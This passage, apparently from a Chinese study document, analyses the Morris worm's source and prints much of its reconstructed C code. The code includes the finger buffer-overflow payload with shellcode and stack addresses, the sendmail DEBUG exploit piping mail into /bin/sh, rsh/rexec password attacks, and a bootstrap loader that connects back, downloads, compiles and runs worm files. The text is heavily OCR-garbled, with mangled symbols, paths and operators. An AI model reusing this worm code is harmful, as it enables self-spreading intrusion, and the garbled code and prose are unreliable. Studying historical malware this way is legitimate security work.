还剩43页未读,继续阅读
本资源只提供10页预览,全部文档请下载后查看!喜欢就下载吧,查找使用更方便
文本内容:
仍然会消耗大量的系统资源经过分析,导致系统资源被大量消耗的原因可能有
一、每个蠕虫有七分之一的机会成为永生的独立蠕虫,独立蠕虫会使得系统中的蠕虫越来越多,当然消耗的资源也会越来越多
二、当pleasequit被置为1后,蠕虫还要做很多没有意义的工作while循环才会退出,这也是系统资源的一种浪费
三、根据if pleasequitnextw0的退出条件,即使蠕虫在roll dice失败了,如果它是一只新的蠕虫,它还要必须要进行一次攻击密码破解才会退出,这也是对系统资源的无谓浪费
四、在mainloop中的破解密码过程中,密码匹配算法效率较低,并且用链表来储存常用的信息检索效率低
五、新蠕虫没有继承父蠕虫的攻击历史记录,导致了新蠕虫会对父蠕虫或者其他已被感染的主机进行重复感染,这也是消耗系统以及网络资源的主要原因之一
5.定位攻击目标在进行攻击之前,蠕虫首先要定位被攻击的目标位置,并且要确保被攻击的目标是存在的morris蠕虫将目标主机分为了网关、系统文件列表中主机、本地网络中主机、远程主机四种储存于host list中而且,从能够获得最佳攻击效果的目的出发,morris蠕虫按照网关、系统文件列表中主机、本地网络中主机、远程主机的先后顺序进行定位攻击目标主机另外,蠕虫初始化host list中系统列表主机的工作在cracksome中完成,蠕虫在第一次调用cracksome函数时从本机的文件系统得到目标主机以及用户的信息,这些信息将视为系统列表主机被蠕虫攻击,关于cracksome函数的实现将在第8部分详细介绍如果根据A Taxonomyof ComputerWorms,这部分大致讲述的就是TARGET DISCOVERY的部分下面详细描述一下定位攻击的过程以及其中用到函数
5.1gateway网关是蠕虫的最爱,因为网关上常常记录着一个局域网中所有主机的信息在攻击时,网关具有最高的优先权,仅当网关列表中所有的网关都被标记已感染或不能感染后,蠕虫才尝试对其他类型目标主机的攻击网关列表由rt_init函数生成rt_init函数通过解析netstat命令的返回值来判断是否为网关但是其中有一个rt_init_544_plus函数没有实现,因此蠕虫判断网关的具体方法尚不明确,但也许蠕虫是根据Ip地址的主机位来判断是否为网关的,如果是网关则在检查是否已经存在与网关列表当中,如果不存在则加入;而后将网关列表随机打乱,将前20个网关假如host list以加快攻击速度对网关进行攻击的函数是hg,其主要代码以及注释如下hg/*对网关进行攻击*/struct hst*host;〃主机列表int i;rt_init;〃初始化网关列表for i=0;ingateways;i++{/*对网关逐个进行攻击直到有网关被攻破或者所有网关都尝试过,循环结束*/host=haddr2host gateways[i],1;if try_rsh_and_mai1hostreturn1;〃攻击成功返回1,关于try_rsh_and_mail将在下文详细介绍}return0;〃攻击失败rt_init/*初始化网关列表*/FILE*pipe;char input_buf
[64];int1204,1304;ngateways=0;pipe=popen XSz,/usr/ucb/net stat-r-n〃,XS〃r〃;//打开netstat命令if pipe==0return0;while fgetsinputbuf,sizeofinput buf,pipe{/*netstat命令返回不为空,就继续循环*/other_sleep0;if ngateways=500break;sscanfinput buf,XS〃%s%s〃,1204,1304;pclosepipe;rt_init_plus_544;〃未实现return1;
5.2系统文件列表中主机在网关以后就是系统文件列表中主机,在unix系统中/etc/hosts.equiv文件后面称作特权文件记录了本地主机授权的不经过验证就可以登录本主机的用户名,/所s/s文件记录了允许本地主机特权登录的远程主机名称,力文件记录了本主机向其发送过电子邮件的主机信息在扫描时这些主机将先被关注这些主机是与本机相联,而且最容易攻破的机器对系统文件列表中主机进行攻击的函数是hi,其具体的实现与注释如下hi/*This routinetried to infect hostswhose entriesin the hosts listwere markedas equivalent.在这里equivalent指的就是上述UNIX系统中的那三个文件*/struct hst*host;for host=hosts;host;host=host-next if host-flag0x08!=0try_rsh_and mailhost!=0return1;//host-flag0x08!=0表示系统文件列表中主机return0;
5.3本地网络中主机与远程主机在前两种主机都尝试过以后,如果没有成功,蠕虫将进一步对本地网络中主机和远程主机进行尝试hl函数负责对本地网络的主机进行攻击,它提取本地网络IP地址的网络地址部分,然后用随机数字取代主机地址部分进行攻击其具体实现以及注释如下hl/*对本地网络的主机进行攻击*/int i;for i=0;i6;i++//host list中只有6个网络地址位{/*对每个网络地址进行检查*/if me-o48[i]==0〃已经没有网络地址break;if hi_84me-o48[i]netmaskforme-o48[i]!=0return1;/*hi_84是对通过ip地址的种类对远程主机的攻击函数,将在后面详细描述*/return0;ha函数尝试对远程主机进行攻击,其实现以及代码注释如下ha/*通过telnet对远程主机进行攻击,在攻击时也是首先选择ip的网络地址,然后对随机生成的网关地址进行攻击*/struct hst*host;int i,j,k;int1416E100];int1420;if ngateways1rt_init;〃初始化网关列表j=0;for i=0;ingateways;i++{/*对所有的网关尝试进行攻击*/host=h_addr2hostgateways[i],1;for k=0;k6;k++{/*每个网关有6个网络地址*/if host-〉o48[k]==0continue;if try_telnet_phost-o48[k]=0continue;/*用telnet检查可达性,仃y_telnet_p函数下文介绍*/1416[j]=host-o48[k];//1416中存储的是网络地址j++;permute1416,j,sizeof1416
[0];//permute将j个sizeof大小的1416文件内容相反的拷贝到内存中for i=0;ij;i++{/*对j个地址随机生成的IP地址进行攻击*/if hi_841416[i]netmaskfor1416[i]return1;}return0;/*try_telnet_p是用来检查远程主机的可达性和是否支持telnet协议,在ha中被调用*/static try_telnet_pu_long addr{int s,connection;/*28*/struct sockaddrin sin;/*16bytes*/int*save_sighand;s=socketAF_INET,SOCK_STREAM,0;if s0return0;bzerosin,sizeofsin;sin.sin_family=AFINET;sin.sin addr.s addr=addr;sin.sin port=IPPORT TELNET;/*This timetry telnet...*//*Set upa5second timeout,break from connect if it fails*/save_sighand二signalSIGALRM,justreturn;alarm5;connection=connects,sin,sizeofsin;if connection0errno==ECONNREFUSED connection=0;/*Telnet connectionrefused*/alarm0;/*Turn offtimeout*/close s;return connection!=-1;}以上是对目标主机定位攻击的大致过程虽然蠕虫将主机分为四种类型,但是通常情况下从系统文件列表中得到的主机已经可以覆盖整个局域网络,因此hl和ha并不会被经常调用
6.蠕虫利用的系统漏洞morris蠕虫主要是对Berkeley发布的unix系统进行攻击,在攻击时它利用了unix系统的一些漏洞,下面对被蠕虫利用的unix系统漏洞进行详细描述
6.1Rsh月艮务与rexec月艮务rsh和rexec是UNIX系统提供远程命令编译的网络服务Rexec服务需要密码验证,而rsh服务则是依靠特权文件/etc/hosts.eqMv文辑来提供服务的这两个服务是每个黑客进行攻击时都会尝试的,因为本地主机在远程主机上可能会有同样的帐户名和密码因为人们通常会使用同样的帐户和密码,而不会去记忆许多不同的帐户和密码,尤其是密码,而且通常情况下远程主机会把本机帐户保存在rsh服务的特权文件中这个漏洞并不是一个系统BUG,它主要是为了使用户方便,但是在方便用户的同时也给入侵者提供了便利首先,蠕虫读取.由rvvQrd文件和.泌osls文件记录了那些需要经过密码身份验证的用户名,然后对这些主机进行攻击在攻击时,蠕虫首先连接远程主机的rexec服务,然后发送从的文件和j/zos/s文件得到用户名并附加上words结构的密码猜测密码,如果密码猜测成功,则进入远程主机否则,蠕虫用本地帐户登录本机的rexec服务,然后用本机去尝试远程主机的rsh服务,如果在远程主机的左化〃2必.约,小文件或者.法os/s文件中的确存在本机的帐户,那么远程主机将允许建立连接,可以进入远程主机fork_rsh函数实现了这部分的攻击,其具体实现如下static fork_rshchar*host,int*fdpl,int*fdp2,char*str/*通过rexec服务和rsh服务对远程主机进行攻击,首先建立两个管道*/{int child;/*子进程*/int fildes
[2];/*管道1*/int fildesl
[2];/*管道2*/int fd;/*用pipe建立两个管道,pipe会建立管道,并将文件描述词由参数filedes数组返回filedes
[0]为管道里的读取端,filedes[l]则为管道的写入端*/if pipefildes0return0;〃管道1建立失败if pipefildesl0〃管道2建立失败,关闭管道1并返回0close fildes
[0];closefildes[l];return0;}child=fork;〃创建子进程,子进程将尝试通过rexec服务攻击远程主机if child0{/*子进程创建失败*/closefildes
[0];close fildes
[1];close fildesl
[0];closefildesl
[1];return0;if child==0{/*子进程创建成功,且现在运行的是子进程*/for fd=0;fd32;fd++if fd!=fildes
[0]fd!二fildesl[l]fd!=2closefd;〃关闭非管道1的文件描述符dup2fildes
[0],0;/*dup2用来复制参数oldfd所指的文件描述词,并将它拷贝至参数newfd后一块返回*/dup2fildes[l],1;if fildes
[0]2close fildes
[0];if fildesl[l]2closefildesl
[1];/*execl doesnot return if itsuceeds.execl用来执行参数path字符串所代表的文件路径下的文件,以/usr/ucb/rsh,/usr/bin/rsh,and/bin/rsh.的顺序通过rsh服务对远程主机尝试进行攻击*/execl XS,,/usr/ucb/rshz,,XS〃rsh〃,host,str,0;execl XS〃/usr/bin/rsh〃,XS〃rsh〃,host,str,0;execl XS,z/bin/rshz/,XS〃rsh〃,host,str,0;exit1;closefildes
[0];closefildesl
[1];*fdpl=fildesl
[0];*fdp2=fildes[l];if test_connection*fdpl,*fdp2,30return1;/*蠕虫攻击成功,建立了两个管道*/close*fdpl;close*fdp2;killchild,9;〃结束子进程,攻击失败/*Give thechild achance todie from the signal.*/sleepl;wait30,WNOHANG,0;〃作用不明return0;
6.2finger缓冲区溢出漏洞Finger是一个daemon程序,根据finger协议为远程请求服务它是用来得到系统上用户详细信息的程序,它通过读取源主机的请求作为参数,经过运算返回用户的全名、他们的办公室的地址、电话号码以及是否在线等信息但是在Finger程序中使用了c的gets函数,而gets函数没有检查输入的边界,如果输入超过了512byte的话则会产生缓冲区溢出Morris蠕虫正是利用了这一漏洞,它提供给Finger一个536byte的请求,溢出的24byte用来执行蠕虫的引导程序try_finger函数实现了对该漏洞的攻击,其具体代码以及注释如下static try_fingerstruct hst*host,int*fdl,int*fd2/*尝试与远程主机的finger守护进程79号端口建立连接,如果成功那么则建立一个s*/int i,j,112,116,s;struct sockaddr_in sin;/*internet地址*/char unused
[492];int1552,1556,1560,1564,1568;〃溢出处理用char buf
[536];/*溢出字符串*/int*save_sighand;/*定义一个函数指针,记录signal函数*/save sighand=signal SIGALRM,justreturn;//justreturn定义于hs.c中for i=0;i6;i++{/**/if host-o48[i]==0continue;/*没有网络地址*/s=socketAF_INET,SOCK_STREAM,0;if s0continue;bzerosin,sizeofsin;sin.sin_family二AF_INET;sin.sin_addr.s_addr=host-o48[i];sin.sin_port=IPPORTFINGER;alarm10;/*alarm用来设置信号SIGALRM在经过参数seconds指定的秒数后传送给目前的进程*/if connect s,sin,sizeof sin0alarm0;close s;continue;alarm0;break;〃连接成功,跳出循环,i6if i=6return0;/*没有成功建立连接*/fori=0;i536;i++/*清0溢出数据*/buf[i]=\0;fori=0;i400;i++buf[i]=1;forj=0;j28;j++buf[i+j]=,z\335\217/sh\0\335\217/bin\320^Z\335\0\335\0\335Z\335\003\320A\\274;\344\371\344\342\241\256\343\350\357\256\362\351,,[j];/*设置溢出数据*///这里也许是蠕虫体现出来的TCP扫描特征,但具体package特征还无法统计1556=0x7fffe9fc;/*Rewrite part of the stack frame*/1560=0x7fffe8a8;1564=0x7fffe8bc;1568=0x28000000;1552=0x0001c020;#ifdef sun/*Reverse theword orderfor the*/1556=byte_swap1556;/*VAX onlySuns haveto dothis*/1560=byte_swap1560;1564=byte_swap1564;1568=byteswap1568;1552=byte_swap1552;#endif sunwrites,buf,sizeof buf;/*利用gets漏洞,sizeof==536*/writes,XS〃\n〃,1;sleep5;if test_connections,s,10{//test_connection函数测试蠕虫是否连接成功*fdl=s;*fd2=s;return1;close s;return0;〃连接失败这个漏洞实际上是由gets函数引起的,而c中除了gets以外还有一些其他的库函数也存在问题,因此在编写程序时要注意这些函数的使用,以免为入侵者提供机会
6.3sendmail在morris蠕虫中,sendmail攻击是最不经常使用因为总是最后使用此方式的攻击方式,但是这个攻击方式常常可以成功的进行攻击sendmail是系统的一个daemon程序,它监听25号端口,通过SMTP协议为用户提供TCP连接的电子邮件服务它有一个特点就是可以直接将邮件发送给系统进程不保存在文件中,这个特点可以被蠕虫利用如果sendmail程序是在DEBUG条件下编译的,那么邮件发送方可以通过发送DEBUG命令使得sendmail程序进入DEBUG模式,而在DEBUG模式下程序允许发送方运行一系列的命令蠕虫模仿一个远程SMTP连接,并插入公历2〃〃作为发送者的名字,而且精心设计一串字符作为接受者当收到邮件后,接收者自动启动一个命令将邮件信息的开头删除并将余下的部分包括了蠕虫的引导程序发送至编译器,编译并运行蠕虫的引导程序完成蠕虫攻击try.mail实现了这部分的攻击其具体实现与注释如下/*x4d3c permute+162*/int i,18,112,116,s;struct sockaddrin sin;/*internet地址*/char1548
[512];int*old handler;struct sockaddrsaddr;int/*Not right*/fd_tmp;/*partofsaddr*/static try_mail struct hst*hostif makemagichost,saddr二二0return0;/*makemagic函数的描述见后面,其中有目标主机的大量的扫描*/oldhandler=signalSIGALRM,justreturn;for i=0;i6;i++{/*检查是否已经存在连接*/if host-o48[i]==NULL continue;s=socketAF_INET,SOCK_STREAM,0;if s0continue;bzerosin,sizeof sin;/**/sin.sin_family=AF_INET;sin.sin_addr.s_addr=host-o48[i];sin.sin_port=IPPORTSMTP;alarm10;if connects,sin,sizeof sin0alarm0;close s;continue;alarm0;break;if i6return0;/*如果已经存在连接那么就没有必要进行sendmail攻击了*/if x50bc s,1548!二0||1548
[0]!=2goto bad;//x50bc函数没有实现,可以推测其大概功能是将一段数据写入内存send text s,XS debug;/*设置成〃debug〃模式*/if x50bc s,1548!=0||1548
[0]!=2goto bad;#define MAILFROM z/mail from:/dev/null\nz/#define MAILRCPT〃rcpt to:\z,|sed\1,/八$/八|/bin/sh;exit0\〃\n〃send_texts,XSMAIL_FROM;〃发送设计好的字符串if x50bcs,1548!=0||1548
[0]!=2goto bad;i=randomOxOOFFFFFF;sprintf1548,XSMAIL_RCPT,i,i;send texts,1548;if x50bc s,1548!=0||1548
[0]!=2goto bad;send texts,XS〃data\n〃;if x50bc s,1548=0||1548
[0]!=3goto bad;send texts,XS〃data\n〃;compile_slavehost,s,saddr;send_texts,XS〃\n.\n〃;if x50bc s,1548=0||1548
[0]!=2{closefd tmp;/*This isn,t setyet!!!*/goto bad;}send texts,XS〃quit\n〃;if x50bc s,1548==0||1548
[0]!=2closefd tmp;/*This isn,t setyet!!!*/goto bad;}close s;return waithithost,saddr;〃waithit函数用来检查攻击是否成功,分析见下文bad:〃攻击失败的一些处理关闭s,退出远程主机程序等send texts,XSquit\n〃;x50bc s,1548;close s;return0;/*Used onlyin trymailabove.This fills buffer witha lineof theresponse,x50bc函数的具体代码没有实现,但可以推测这个函数是用来判断攻击效果的*/static x50bcint s,char*buffer/*Fill inexact codelater.Its prettyboring.*/makemagicstruct hst*arg8,int*argl2,int*argl6,int*arg20,int*arg24/*生成challenge number就是与远程主机建立一个随机端口socket连接,使得蠕虫不易被发现,这个函数中体现出了一些扫描特征*/int s,i,namelen;struct sockaddr_in sinO,sinl;*arg20=randomOxOOffffff;〃生成一个随机数bzerosinl,sizeofsinl;sinl.sin_addr.s_addr=me-112;//internet地址for i=0;i6;i++{/*对host的6个网络地址逐一检查*/if arg8-o48[i]==NULLcontinue;s=socketAF_INET,SOCK_STREAM,0;if s0return0;bzeroftsinO,sizeof sinO;〃设置socketsinO.sinfamily=AFINET;sinO.sin port=IPPORT TELNET;sinO.sin addr.s_addr=arg8-o48[i];errno=0;if connects,sin0,sizeofsinO!=-1{〃对目标主机进行telnet连接,如果成功的话,用getsockname来获得规范的ip地址namelen=sizeof sinl;〃名字长度getsocknames,sinl,namelen;〃获得规范的IP地址closes;break;close s;}〃for循环结束*argl2=sinl.sin addr.s_addr;〃返回规范的IP地址for i=0;i1024;i++{/*尝试1024次的TCP连接,连接的端口由与32767的模随机产生*/s二socketAF_INET,SOCK_STREAM,0;if s0return0;bzerosin0,sizeofsinO;sinO.sinfamily=AFINET;sinO.sin_port=random%Oxffff;〃随机产生端口号,以不被发现if binds,sin0,sizeof sinO!=-1{/*定位sokcet成功,那么打开监听端口,并返回sokcet的文件描述符,listens,10;*argl6=sinO.sin_port;*arg24=s;return1;}closes;return0;
7.攻击的实现
7.1主要的攻击函数本部分介绍morris蠕虫的攻击函数以及辅助函数具体实现与代码分析,morris蠕虫主要有两个进行攻击的函数try」sh_and_mail函数和hul函数下面对这两个函数进行详细的分析
7.
1.1try_rsh_and_mail函数try_rsh_and_mail函数是蠕虫最主要的攻击函数,它首先检查它是否正在攻击本机或者已经被攻击过的主机标记出infected或immune,以确保攻击的正确性;然后它确定目标主机地址的正确性可达性,如果目标主机不可达,那么它将其标记为immune struct hst数据结构中;然后它调用fork_rsh,try_finger,try_mail进行攻击,如果全部攻击失败,那么目标主机被标记为immuneo其具体的实现以及注释如下static try_rsh_and_mailstruct hst*hostint fdl,fd2,result;〃以下是确保攻击有效性的检验if host==mereturn0;/*如果是本机,返回*/if host-flag0x02return0;/*如果标记了infected,返回*/if host-flag0x04return0;/*如果标记了immune,返回*/if host-o48
[0]==0||host-hostname==NULLgetaddrs host;〃用getaddrs确定主机的可达性if host-o48
[0]==0〃如果目标主机不可达,那么标记目标主机为immune host-flag|=0x04;return0;}other_sleepl;if host-hostnamefork_rshhost-hostname,fdl,fd2,XS exec/bin/sh〃{/*如果rsh服务登录成功*/result=talk_to_shhost,fell,fd2;〃传送攻击蠕虫引导程序“
11.c”closefdl;closefd2;/*Prevent childfrom hangingaround in the exitingstate*/wait3union wait*NULL,WNOIIANG,struct rusage*NULL;if result!=0return result;if try_fingerhost,fdl,fd2{/*如果finger攻击成功*/result=talk_to_shhost,fdl,fd2;〃返回引导程序的工作情况closefdl;closefd2;if result!=0return result;if trymailhostreturn1;host-flag|=4;return0;辅助函数talk_to_sh的实现以及注释如下static talk_to_shstruct hst*host,int fdrd,int fdwr/*主要功能是向目标主机发送蠕虫引导程序代码,本函数要在攻击成功后被调用*/{object*objectptr;char sendbuf
[512];/*1516*/char print_buf
[52];/*1568*/int1572,1576,1580,1584,1588,1592;objectptr=getobjectbynameXS,zll.c,z;/*查找引导程序*/if objectptr=NULLreturn0;/*没有找到引导程序*/if makemagichost,1592,1580,1584,1588==0return0;〃建立一个随机端口的TCP连接,准备传送引导程序send text fdwr,XS PATH=/bin:/us「/bin:/usr/ucb\n,z;〃写入fdwr sendtextfdwr,XS〃cd/usr/tmp\n〃;1576=random%OxOOFFFFFF;〃生成一个随机数sprintfprint_buf,XS〃x%d.c〃,1576;〃将字符串写入内存中/*The sed,script justputs theEOF onthe transmittedprogram.*/sprintf send buf,XS echo gorch49;sed\/int zz;/q\%s;echogorch50\n,z,print_buf;/用unix的编辑器sed来分解输入的字符串〃以下为蠕虫发送并运行引导程序的过程send textfdwr,send buf;〃把内存中那段内容写入fdwrwait_for fdrd,XS〃gorch49〃,10;//wait_for调用select函数实现非阻塞等待xorbufobjectptr-buf,objectptr-size;1572=writefdwr,objectptr-buf,objectptr-size;xorbufobjectptr-buf,objectptr-size;if1572!=objectptr-size close1588;return0;/*to hi+2128*/sendtextfdwr,XS〃int zz;\n\n〃;wait_for fdrd,XS〃gorch50〃,30;〃定义编译命令字符串#define COMPILE〃cc-o x%d x%d.c;./x%d%s%d%d;rm-f x%d x%d.c;echo D0NE\n〃sprintf send_buf,XS COMPILE,1576,1576,1576,inet_ntoaa2in1592,1580,1584,1576,1576;〃远程主机的编译器被开启send textfdwr,sendbuf;〃开始运行引导程序if wait_forfdrd,XS〃D0NE〃,100==0{close1588;return0;/*hi+2128*/return waithithost,1592,1580,1584,1588;/*等待远程主机的引导程序通过预定端口进行通信,具体分析见
7.2引导程序分析*/
7.
1.2hul函数hul函数是另一个主要的攻击函数,它在密码破解成功后被调用,尝试着通过rexec服务或者rsh服务来攻击远程主机它首先检查它是否正在攻击本机或者已经被攻击过的主机标记出infected或immune,以确保攻击的正确性;然后它通过调用getaddrs函数,确定目标主机地址的正确性和可达性然后,如果在液厂加加或者Mos/s文件中可以找到一个远程目标主机的用户名,那么hul函数首先来检查这个用户名的合法性不包括标点符号和控制符,如果没有可用的用户名那么蠕虫使用本机的用户名在蠕虫获得一个远程目标主机的用户名和密码之后,它就尝试连接目标主机的rexec服务,如果验证成功,那么它就开始运行它的引导程序如果rexec服务验证失败,那么蠕虫使用另一种攻击策略,它使用本机的用户名和密码连接本机的rexec服务,然后它用这个命令编译器通过rsh服务向远程主机发出攻击命令,如果远程主机的/々c/7zos/s.eq〃zbfile或者//file中有本机的用户名,那么这个攻击就会成功J ZOSShul函数与try_rsh_and_mail函数的不同之处在于它并不检查远程主机是否被标记immune,因为hul函数可能会对try_rsh_and_mail函数攻击失败的主机进行成功的攻击,当然hul函数也不会标记immune标志hul函数的具体实现以及详细分析如下/*I callthis huristic1〃.It triesto breakinusing theremote executionservice.It iscalledfrom asubroutine ofcracksomel withinformation froma users.forword file.The twoname aretheoriginal usernameand theone inthe.forward file.*/hulchar*alt_username,struct hst*host,char*username2{char username
[256];char buffer2
[512];char local
[8];int result,i,fd_for_sh;if host==mereturn0;/*对本机进行攻击*/if host-flagHST_HOSTTWO/*已经被成功攻击*/return0;if host-o48
[0]||host-hostname二二NULL getaddrshost;〃目的主机的可达性if host-o48
[0]==0host-flag|二HST HOSTFOUR;return0;}strncpyusername,username2,sizeofusername-1;username[sizeofusername-1]=\0;if username
[0]==\0,strcpy username,alt username;〃如果username2为空for i=0;username[i];i++if ispunctusername[i]||username[i]return0;〃如果用户名不合法,返回other_sleepl;〃相当于sleep1fd_for_sh=x538ehost,username,alt_username
[30];/*用x538e对rexec服务进行攻击*/if fd_for_sh=0{〃攻击成功result=talktoshhost,fd_for_sh,fd for_sh;close fd_for_sh;return result;if fd_for_sh=-2//-2代表攻击失败,没有网络与主机相连return0;fd_for_sh=x538e me,alt_username,alt_username
[30];/*用x538e对rsh服务进行攻击*/if fd_for_sh=0sprintfbuffer2,XS〃exec/usr/ucb/rsh%s-1%s\exec/bin/sh\\n〃,host-hostname,username;send_textfd_for_sh,buffer2;sleep10;result=0;if testconnection fd_for_sh,fd for_sh,25〃攻击成功result=talk tosh host,fd_for_sh,fd_for_sh;close fd_for_sh;return result;return0;辅助函数x538e的实现以及分析如下static intx538e struct hst*host,char Enamel,char*name2{/*利用rexec服务和rsh服务对远程主机进行攻击*/int s,i;struct sockaddr_in sin;/*internet地址*/int16,17;char inbuf
[512];for i=0;i6;i++{/*对每个主机的6个网络地址进行检查*/if host-o48[i]==0continue;s=socketAF_INET,SOCK_STREAM,0;if s0continue;bzerosin,sizeof sin;/socket设置*/sin.sinfamily=AFINET;sin.sin addr.s_addr=host-o48[i];sin.sin_port=IPPORT EXECSERVER;/*Oh shit,looking forrexd*/alarm8;signalSIGALRM,justreturn;if connects,sin,sizeof sin0〃与远程主机连接失败,就是说没有成功的与远程主机建立salarm0;close s;continue;alarm0;break;if i=6return-2;/*没有网络与主机相连*//*如果有连接,通过写入一个空串来检验连接*/if writes,XS〃〃,1==1//连接成功{/*Tell theremote executiondeamon thehostname,username,and tostartup〃/bin/sh〃.*/writes,namel,strlennamel+1;writes,name2,strlenname2+1;if writes,XS〃/bin/sh〃,strlenXS〃/bin/sh〃+1=0xreads,in_buf,1,20==1in_buf
[0]==\0test_connections,s,40!=0returns;〃攻击成功close s;return-1;
7.2蠕虫的引导程序bootstrap引导程序是蠕虫进入一台主机的开始,引导程序的主要作用就是将蠕虫的整体程序文件下载到目的主机上,并使之编译运行这有点像a taxonomyof computerworms中提到的payload部分,利用这个功能我们应该还可以向目标主机中种植木马以得到更佳的攻击效果引导程序是由try_rsh_and_mail函数成功后调用辅助函数talk_to_sh传送到目标主机上的,它有三个参数服务器主机IP,TCP端口号,magic number首先,引导程序删除自己在磁盘上的拷贝,使o得自己不会被文件系统发现;然后,它调用fork创建一个新进程,更改进程ID,来隐藏自己;之后,它读取参数设置TCP连接,并在设置完成后将参数清0,以隐藏服务器的信息;接着它开始尝试与服务器建立连接,与服务器建立连接之后引导程序返回一个magic number,服务器检查这个返回数,如果magic number不正确,那么服务器马上断开与引导程序的连接,引导程序失败;如果magic number正确,那么服务器将发送一系列蠕虫文件,如果在文件传送过程中发生错误,那么引导程序删除所有已传送过来的文件并退出,以使得蠕虫源程序不被捕获和分析最后,引导程序调用编译器来运行蠕虫,进入蠕虫main函数,而且自行退出其具体的实现以及注释部分如下#include stdio.hftinclude sys/types.h#include sys/socket.httinclude netinet/in.hmainargc,argvchar*argv口;struct sockaddr_in sin;int s,i,magic,nfiles,j,len,n;FILE*fp;char files
[20]
[128];char buf
[2048],*p;uni inkargv
[0]/在本机磁盘上删除自己ifargc!=4〃如果参数的个数不是4个的话,那么引导程序出错,退出程序exit1;fori=0;i32;i++〃关闭打开的文件closei;i=fork;〃更改进程IDifi0exit1;ifi0exit0;/*exit用来正常终结目前进程的执行,并把参数status返回给父进程,而进程所有的缓冲区数据会自动写回并关闭未关闭的文件*/〃通过参数,设置socketbzerosin,sizeofsin;sin.sin_family=AF_INET;sin.sin addr.s addr=inet addrargv[l];sin.sin_port=htons atoiargv
[2];magic=htonl atoiargv
[3];//magic number的长度fori=0;iargc;i++forj=0;a.rgv[i][j];j++argv[i][j]二\0;〃将所有的参数清0s=socket AF_INET,SOCK_STREAM,0;〃建立$if connects,sin,sizeof sin0〃是否与服务器连接成功perrorz,ll connect;exit1;}dup2s,1;dup2s,2;/*dup2用来复制参数oldfd所指的文件描述词,并将它拷贝至参数newfd后一块返回若参数newfd为一己打开的文件描述词,则newfd所指的文件会先被关闭*/writes,magic,4;〃返回magic numbernfiles=0;〃文件数while1ifxreads,len,4!=4goto bad;〃检查s是否正确len=ntohl len;if len==-1break;ifxreads,files[nfiles]
[0],128!=128goto bad;〃检查文件是否过短unlink files[nfiles];//fp二fopenfiles[nfiles],〃w〃;if fp=二0goto bad;nfiles++;whileden0〃检查文件正确性{n=sizeofbuf;if nlenn二len;n二reads,buf,n;if n=0goto bad;iffwritebuf,1,n,fp!=ngoto bad;len-=n;fclose fp;}execl〃/bin/sh〃,〃sh〃,0;〃运行蠕虫程序bad:fori=0;infiles;i++unlinkfiles[i];〃删除文件exit1;}staticxread fd,buf,nchar*buf;int cc,nl;nl=0;whilenlncc=read fd,buf,n-nl;if cc=0return cc;buf+=cc;nl+二cc;}return nl;int zz;在服务器端与引导程序交互的是waithit函数,它首先在makemagic创建的随机端口的socket连接上等待120秒,如果没有等到回应或者得到一个错误的返回值,那么程序断开与引导程序的连接并返回失败信息;如果建立连接成功,蠕虫将根据的信息将文件传送到目标主机传送的文件都是经过xorbuf函数加密;然后蠕虫等待4秒,使得引导程序有足够的时间打开目标主机的编译程序;如果引导程序成功的运行了蠕虫的代码,那么waithit函数发送一个“-p”命令使目标主机退出编译程序,而且在主机列表中蠕虫将目标主机标记为“已被感染”;而如果引导程序没有成功的创建新蠕虫,waithit函数将发出“rm”命令来删除目标主机上的文件,并返回失败信息辅助函数waithit的实现以及分析如下waithit struct hst*host,argl,arg2,key,arg4{/*等待引导程序的连接,并完成与引导程序的交互*/int*save_sighand;int18,sin_size,116,i,124,128;struct sockaddrin sin;object*obj;char files
[20]
[128];/*文件列表,这里要传送20文件*/char*12612;char strbuf
[512];save_sighand=signal SIGPIPE,justreturn;〃信号处理函数sin size二sizeof sin;alarm2*60;〃设置闹钟为120秒18=accept arg4,sin,sin_size;〃等待建立连接,成功后18是socket alarm0;if180goto quit;/*建立连接失败*/if xread18,116,sizeof116,10!=4goto quit;116=ntohl116;if key!=116goto quit;for i=0;inobjects;i++{/*对于每个文件进行传送*/obj=objects[i];116二htonl obj-size;write18,116,sizeof116;sprintf files[i],XS〃x%d,%s〃,random0x00ffffff,obj-name;write18,files[i],sizeoffiles
[0];xorbufobj-buf,obj-size;124=write18,obj-buf,obj-size;xorbufobj-buf,obj-size;if124!=obj-sizegoto quit;〃文件传送失败/*Get ridof myclient,s key,and tellhim thelist hasended.*/116=-1;if write18,116,sizeof116!=4goto quit;/*Don,t runup theload averagetoo much...*/sleep4;〃等待目标主机开启编译程序if test_connection18,18,30=二0//测试连接goto quit;send_text18,XS/zPATH=/bin:/usr/bin:/usr/ucb\n/z;send_text18,XS rm-f sh\n〃;sprintf strbuf,XS〃if[-f sh]\nthen\nP=x%d\nelse\nP=sh\nf i\n/z,randomOxOOffffff;send_text18,strbuf;for i=0;inobjects;i++{/*检查每个文件*/if12612=indexfiles[i],=NULL||12612
[1]!=o continue;sprintf strbuf,XS〃cc-o$P%s\n,files[i];〃运行编译程序send_text18,strbuf;if test_connection18,18,30二二0goto quit;sprintfstrbuf,XS〃./$P-p$$〃;〃退出编译程序for128=0;128nobjects;128++{/**/strcatstrbuf,files
[128];strcat strbuf,XS〃〃;strcatstrbuf,XS〃\n〃;send_text18,strbuf;if test_connection18,18,10二二0{/*攻击成功*/close18;〃关闭连接close arg4;host-flag|=2;〃设置标志位return1;send_text18,XS rm-f$P\n〃;〃删除目标主机上的文件for i=0;inobjects;i++{/*攻击失败,删除每个传送过去的文件*/sprintfstrbuf,XS〃rm-f%s$P\n〃,files[i];send_text18,strbuf;}test_connection18,18,5;quit:〃错误处理close18;close124;return0;
7.3蠕虫对网络随机主机的攻击蠕虫除了对网关以及系统列表主机进行攻击外,还会对网络中的随机主机进行攻击这个攻击主要由hl函数和ha函数来实现,这两个函数在第五部分中已经进行了大致的介绍,下面主要分析攻击具体的实现在这部分中对局域网进行攻击用到的最主要的函数是hi_84,它首先检查每个网络接口,看看目标主机是否可以直接到达,如果不可达则直接返回如果可达,那么函数根据一定的算法判断IP地址的类型,之后根据不同的类型函数进行不同的处理,随机生成一个主机列表,最后主机取生成的主机列表的前20条进行攻击在进行攻击时还要不断检查该IP是否已经被标记过了但是实现攻击的函数依然是try_rsh_and_mailohi_84argl/*This routinewas designedtoinfectrandom hostson asubnet.*/int14;structhst*host;int112,116,120,i,128,adr_index,136,140,144;int netaddrs
